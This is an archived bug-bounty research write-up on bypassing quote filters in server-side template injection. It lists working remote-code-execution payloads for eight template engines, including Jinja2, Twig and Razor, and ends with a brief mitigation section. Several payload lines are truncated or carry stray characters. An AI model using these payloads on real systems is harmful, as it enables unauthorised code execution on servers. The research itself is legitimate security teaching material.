Limitations are just an illusion - advanced server-side template exploitation with RCE everywhere

Limitations are just an illusion - advanced server-side template exploitation with RCE everywhere - Alex Brumen, YesWeHack.

- Published: 2025-03-24
- Original: <https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation>
- Preserved from: https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation (live) on 2026-09-02
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere

March 24, 2025

[image: server-side template injection]

Writeup by Brumens, research enablement specialist, YesWeHack

Interested in bypassing a system's security filters using only its built-in features?

In this article, you will discover unique and advanced techniques for exploiting server-side template injections (SSTIs) in various template engines, without relying quotes or external plugins.

We provide step-by-step payloads for popular template engines, such as Jinja2, Mako and Twig, that can trigger remote code execution (RCE) on vulnerable systems.

By default, many template engines enable auto-escaping or HTML-escaping prior to rendering. This can make exploitation more challenging, due to the strict quote filtering applied when rendering string-based data. Without string-based data in some form, RCE is significantly harder to achieve on certain template engines, Twig being a notable example.

However, for others, exploitation remains relatively straightforward even without quotation marks. For instance, our Jinja2 exploit was greatly simplified by the availability of the chr Python function, which demonstrates how inherent language features can be repurposed to overcome input restrictions.

Whether you're a pentester, security researcher or Bug Bounty hunter, this guide shows you how to turn limitations into unexpected strengths – and potentially valuable vulnerabilities.

You can also learn these techniques by watching my presentation of this research at Ekoparty 2024 in Buenos Aires:

Goal of this research

The goal of our research was simple: to develop payloads for some of the most popular template engines, with the aim of achieving RCE. These payloads are designed to be completely self-contained, relying solely on the payload itself and not on any external resources such as HTTP parameters. This ensures that they work in as many exploitation scenarios as possible – thereby increasing your chances of finding lucrative vulnerabilities.

Template engines to exploit

Our research attempted to craft a payload to achieve our goal on the following template engines:

- Jinja2 (Python)
- Mako (Python)
- Twig (PHP)
- Smarty (PHP)
- Blade (PHP)
- Groovy (Java)
- FreeMarker (Java)
- Razor (.NET)

Exploiting SSTI in popular template engines for RCE

As mentioned previously, all our payloads utilise only the default functions and methods available within the template engine; they do not rely on any external resources such as parameters in the HTTP request. Despite these limitations, every payload is capable of achieving RCE on an application vulnerable to server-side template injection.

Jinja2 exploitation: payload techniques using index positions

Jinja2, the default template engine in Flask, is extremely powerful as it permits the execution of pure Python code.

To write a simple string, we can write this payload (note: index values may vary):

```
{{self.__init__.__globals__.__str__()[1786:1788]}}
```

This payload leverages the dictionary `self.__init__.__globals__`, which covers the complete global namespace of the method's module. The method `__str__` converts these globals into a string. By

extracting characters at positions 1786 to 1788 from the resulting string, the payload ultimately produces the string "id".

We can now leverage this technique to build a payload that performs a remote code execution and runs system command `id`:

```
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).re
```

This example demonstrates how chaining multiple built-in methods can grant access to the underlying operating system, emphasising the critical importance of understanding engine internals. A similar payload structure can be used to exploit our 'Coffee Shop' CTF challenge in Dojo, which used Jinja2 as its template engine when filtering out all quotation marks.

Mako exploitation: Crafting payloads for Python frameworks

Mako is another Python-compatible template engine, commonly used by frameworks such as Pyramid and Pylons.

In Mako, the following payload generates the string "id":

```
${str().join(chr(i)for(i)in[105,100])}
```

Passing this string to Python's os.popen function achieves RCE because it leverages system-level calls to bypass input filters:

```
${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()}
```

While an alternative payload exists that utilises "less-than" `(<)` and "greater-than" `(>)` characters, it falls outside our research scope:

```
<%import os%>${os.popen(str().join(chr(i)for(i)in[105,100])).read()}
```

Twig exploitation: overcoming template limitations with blocks

Twig, the PHP template engine, proved to be one of the most challenging environments in which to craft a working payload – primarily due to the difficulty of generating a string using its default configurations. The problem here arises from Twig's strict auto-escaping rules, which forces us to think creatively.

Fortunately, we can surmount this challenge by leveraging Twig's block feature and built-in `_charset` variable. By nesting these elements, the following payload was produced successfully:

```
{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}
```

Alternatively, the following payload, which harnesses the built-in _context variable, also achieves RCE – provided that the template engine performs a double-rendering process:

```
{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}
```

These payloads illustrate that even stringent auto-escaping rules can be bypassed without the need for external resources like quote marks or plugins. By abusing native template features, these exploits also demonstrate the utility of a deep understanding of template engine internals for overcoming common security mechanisms.

Smarty exploitation: Leveraging built-in PHP functions for RCE

In the PHP template engine Smarty, the `chr` function is used to generate a character from its hexadecimal value. By employing the variable modifier `cat`, individual characters are concatenated to form the string "id" as follows:

```
{chr(105)|cat:chr(100)}
```

Similar to Twig, we can use the function `passthru` to execute our generated string and achieve RCE:

```
{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}
```

Blade exploitation: advanced techniques in Laravel's template engine

Blade, the default template engine for Laravel, uses the built-in `chr` function to convert hexadecimal values into their corresponding characters. These characters can then be inserted into `array_map` and joined together using `implode` to form a string.

For example, the following code generates the string "id":

```
{{implode(null,array_map(chr(99).chr(104).chr(114),[105,100]))}}
```

This string is then passed to the `passthru` function to execute the `id` command, resulting in remote code execution:

```
1{{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}
```

Groovy exploitation: payload development in Java-based systems

Groovy, a Java-based scripting language commonly used in Grails applications, offers powerful capabilities for dynamic code execution. You can bypass security filters by constructing strings from ASCII codes and executing them as system commands with this method...

```
1${((char)105).toString()+((char)100).toString()}
```

Or this method...

```
1${x=new String();for(i in[105,100]){x+=((char)i)}}
```

The `execute` function can then run the constructed string as a system command:

```
1${x=new String();for(i in[105,100]){x+=((char)i).toString()};x.execute().text}
```

For a payload with no spaces, you may use multi-line comments (`/**/`) as an alternative:

```
1${x=newString();for(iin[105,100]){x+=((char)i).toString()};x.execute().text}${x=newString();for(iin[105,100]){x+=((char)i).t
```

FreeMarker exploitation: leveraging unconventional functions in creative ways

FreeMarker is a popular template engine used in Java-based applications, and is supported by a variety of frameworks, including Spring and Apache Struts.

My efforts to generate a suitable string in FreeMarker led to the discovery of a pretty neat function: `lower_abc`. This function converts int-based values into alphabetic strings – but not in the way you might expect from functions such as `chr` in Python, as the documentation for `lower_abc` explains:

Converts `1`, `2`, `3`, etc., to the string `"a"`, `"b"`, `"c"`, etc. When reaching `"z"`, it continues like `"aa"`, `"ab"`, etc. This is the same logic that you can see in column labels in spreadsheet applications (like Excel or Calc). The lowest allowed number is `1`. There's no upper limit. If the number is `0` or less or it isn't an integer number then the template processing will be aborted with error.

So if you wanted a string that represents the letter "`a`", you could use the payload:

```
1${1?lower_abc}
```

The string "`aa`", meanwhile, can be generated with the payload:

```
1${27?lower_abc}
```

By using this method, you can build a string that can be used to create a payload such as the following, with the impact being RCE:

```
1${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5
```

FreeMarker's payload structure stands out by demonstrating how unconventional functions can be repurposed – offering an alternative pathway when typical methods are insufficient.

Razor exploitation: leveraging Razor's native C# capabilities

Built into ASP.NET core, Razor is a powerful template engine capable of executing pure C# code. This capability allows for the generation of strings using the full power of the C# language, opening up a wide range of payload possibilities.

For example, the following payload generates the string "whoami":

```
1@{string x=null;int[]l={119,104,111,97,109,105};foreach(int c in l){x+=((char)c).ToString();};}@x
```

To execute this command as a system command, use `@System.Diagnostics.Process.Start`, replacing `_PROGRAM_` with the desired program (for example, `cmd.exe`) and `_COMMAND_` with your generated command string:

```
1@System.Diagnostics.Process.Start(_PROGRAM_,_COMMAND_);
```

This example shows that even modern, type-safe template engines can be vulnerable if intrinsic language features are misused.

Mitigation best practices for SSTI: securing Your server-side templates against RCE

Developers and security professionals should consider implementing the following robust defensive measures against server-side template injection (SSTI) exploits, such as those described above.

Input validation and sanitisation

Repelling SSTI attacks starts with properly sanitising user input. The best practice is to use a sanitiser compatible with how input might be used, or to enforce strong regular expression checks to allow only safe, expected characters. By employing context-specific sanitisers or strict regular expression checks, you limit the attack surface significantly.

Secure template configuration

Optimise your template engines by disabling or restricting functions that provide direct access to global objects or other unsafe methods. Additionally, always enable auto-escaping to mark a clear distinction between data and code, thereby reducing the risk of injection attacks.

Patching and updates

Keep your template engines, libraries and frameworks up to date with the latest security patches. Also, regularly check vendor advisories and security bulletins so you can quickly fix any new vulnerabilities that arise.

Research roadmap

Achieving RCE in various popular template engines using only built-in methods and functions demonstrates the significant potential of crafting efficient payloads with minimal resources.

Numerous template engines remain unexplored. For researchers interested in extending this work, similar payload structures might be applicable to additional engines, offering an excellent foundation for further investigation.

You can also learn these techniques by watching my presentation of this research at Ekoparty 2024 in Buenos Aires.

Acknowledgments

Special thanks to Hackmanit for their template injection playground, which really facilitated the payload testing process.

Finally, I would like to thank the guys at SCH Tech for their research 'RAZOR PAGES SSTI & RCE' and James Kettle for his pioneering research on server-side template injection.

References & further reading

- Template processor - Wikipedia
- A guide to server-side template injection – PortSwigger

- Template injection playground – Hackmanit
- Razor pages SSTI & RCE – SCH Tech
- Dojo CTF challenge #31: Coffee shop
